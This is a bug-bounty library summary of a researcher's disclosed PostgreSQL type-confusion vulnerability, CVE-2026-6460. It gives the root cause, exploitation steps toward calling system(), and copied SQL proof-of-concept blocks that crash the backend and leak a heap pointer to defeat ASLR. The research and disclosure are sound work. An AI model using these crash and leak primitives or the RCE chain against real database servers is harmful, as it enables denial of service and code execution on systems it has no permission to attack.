# Part 3/6 | How I Ended Up Turning a 22-Year-Old PostgreSQL Type-Confusion Primitive into RCE (CVE-2026-6460) - Mehmet Ince @mdisec - Vulnerability Researcher | Building security products | Security Advisor

Prepared statement holds composite value, ALTER TYPE changes attribute uuid→bytea, byteaout trusts attacker bytes as expanded-object pointer, yielding system() call.

- Payout: Research
- Severity: high
- Program: PostgreSQL
- Write-up by: Mehmet Ince
- Disclosed: 2026-11-12
- CVE: CVE-2026-6460
- Write-up quality: 9/10
- Original: https://mehmetince.net/part-3-6-how-i-ended-up-turning-a-22-year-old-postgresql-type-confusion-primitive-into-rce-cve-2026-6460/
- Library page: https://bugbountylibrary.com/r/blog%3Amehmetince-net-part-3-6-how-i-ended-up-turning-a-22-year-old-postgresql-type-confusion-primitive-into-rce-cve-2026-6460
- Tags: area:oss domain:oss impact:privesc impact:rce kind:research platform:research sev:high tech:linux technique:chained technique:source-review vuln:memory-corruption vuln:privilege-escalation vuln:rce

**Target:** PostgreSQL core composite types / varlena detoast path
**Root cause:** ALTER TYPE ... ALTER ATTRIBUTE TYPE CASCADE changes a composite attribute's type without rewriting values already stored by a prepared statement; output functions (byteaout) then interpret attacker-controlled old bytes as a varlena external expanded-object header with a forged methods pointer.
**Steps:**
1. `CREATE TYPE pg_temp.poc AS (key uuid);`
2. `PREPARE pc_crash AS SELECT '(01020000-0000-0000-0000-000000000000)'::pg_temp.poc;`
3. `ALTER TYPE pg_temp.poc ALTER ATTRIBUTE key TYPE bytea CASCADE;`
4. `EXECUTE pc_crash;` → record_out→byteaout→detoast_external_attr→DatumGetEOHP(NULL)→EOH_get_flat_size(NULL) SIGSEGV
5. For RCE: craft UUID bytes so first 8 bytes are `id>x` and offset +0x08 points to fake methods table M containing system@plt; H is passed as arg to system()
6. For ASLR leak: build 48-byte array from 3 UUIDs, `ALTER TYPE pg_temp.address_carrier ALTER ATTRIBUTE a TYPE bigint[] CASCADE`, `unnest(r.a)` returns text pointer bits as bigint, add +4 to skip varlena header
**How found:** After exploiting pg_clickhouse memory corruption, asked how PostgreSQL decides a Datum's type; learned output functions trust surrounding type metadata. Recalled TOCTOU thinking and prepared-statement separation of parse and execute, then asked which user-creatable types can be altered between PREPARE and EXECUTE — leading to composite types and ALTER ATTRIBUTE.
**Exploitation:** Lowest-privileged role prepares a query embedding a composite value, alters the attribute type, then executes; forged expanded-object header redirects eoh_methods->get_flat_size to system() with the object pointer (containing the command string) as argument. ASLR defeated by leaking a heap pointer via array element-type confusion (text pointer reinterpreted as bigint).
**Escalation:** Chained pointer leak (array unnest type confusion) with fake ExpandedObjectHeader/Methods to convert a NULL-deref crash into controlled native call to system().
**Insight:** Prepared statements freeze the plan but not the catalog: any user-definable type (composite attributes, array element types) referenced by a prepared plan can be mutated before EXECUTE, so old Datum bytes get consumed by a new type's input/output function — hunt for other plan-time-vs-execute-time metadata mismatches.

## Proof of concept (copied exactly from the original report)

**Prepared composite type altered to bytea crashes backend**

```
CREATE TYPE pg_temp.poc AS (key uuid);

PREPARE pc_crash AS
 SELECT '(01020000-0000-0000-0000-000000000000)'
 ::pg_temp.poc;

ALTER TYPE pg_temp.poc
 ALTER ATTRIBUTE key TYPE bytea CASCADE;

EXECUTE pc_crash;
 
CREATE TYPE pg_temp.poc AS (key uuid);

PREPARE pc_crash AS
 SELECT '(01020000-0000-0000-0000-000000000000)'
 ::pg_temp.poc;

ALTER TYPE pg_temp.poc
 ALTER ATTRIBUTE key TYPE bytea CASCADE;

EXECUTE pc_crash;

And the result was a segfault!

client backend was terminated by signal 11: Segmentation fault
DETAIL: Failed process was running: EXECUTE pc_crash;
```

**UUID array reinterpreted as bigint[] leaks pointer**

```
CREATE TYPE pg_temp.address_carrier AS (
 a uuid,
 b uuid,
 c uuid
);

CREATE FUNCTION pg_temp.leak_address(
 r pg_temp.address_carrier
)
RETURNS bigint
LANGUAGE plpgsql
AS $$
DECLARE
 pointer bigint;
BEGIN
 SELECT x INTO pointer
 FROM unnest(r.a) AS item(x)
 LIMIT 1;

 RETURN pointer + 4;
END
$$;

PREPARE address_leak AS
SELECT to_hex(pg_temp.leak_address(
 '(c0000000-0100-0000-0000-000019000000,01000000-0100-0000-5000-000011223344,55667788-99aa-bbcc-ddee-ff0000000000)'::pg_temp.address_carrier
));

ALTER TYPE pg_temp.address_carrier
 ALTER ATTRIBUTE a TYPE bigint[] CASCADE;

EXECUTE address_leak;

 to_hex 
--------------
 55f2a589ae0c
(1 row)
```

**LANGUAGE internal textout on int4 crashes**

```
CREATE FUNCTION pg_temp.confused_textout(integer)
RETURNS cstring
AS 'textout'
LANGUAGE internal
STRICT;
 
CREATE FUNCTION pg_temp.confused_textout(integer)
RETURNS cstring
AS 'textout'
LANGUAGE internal
STRICT;

Then I gave it the same int4 value. and my local-backend crashed!

SELECT pg_temp.confused_textout(1337);

server closed the connection unexpectedly
This probably means the server terminated abnormally before or while processing the request.
```

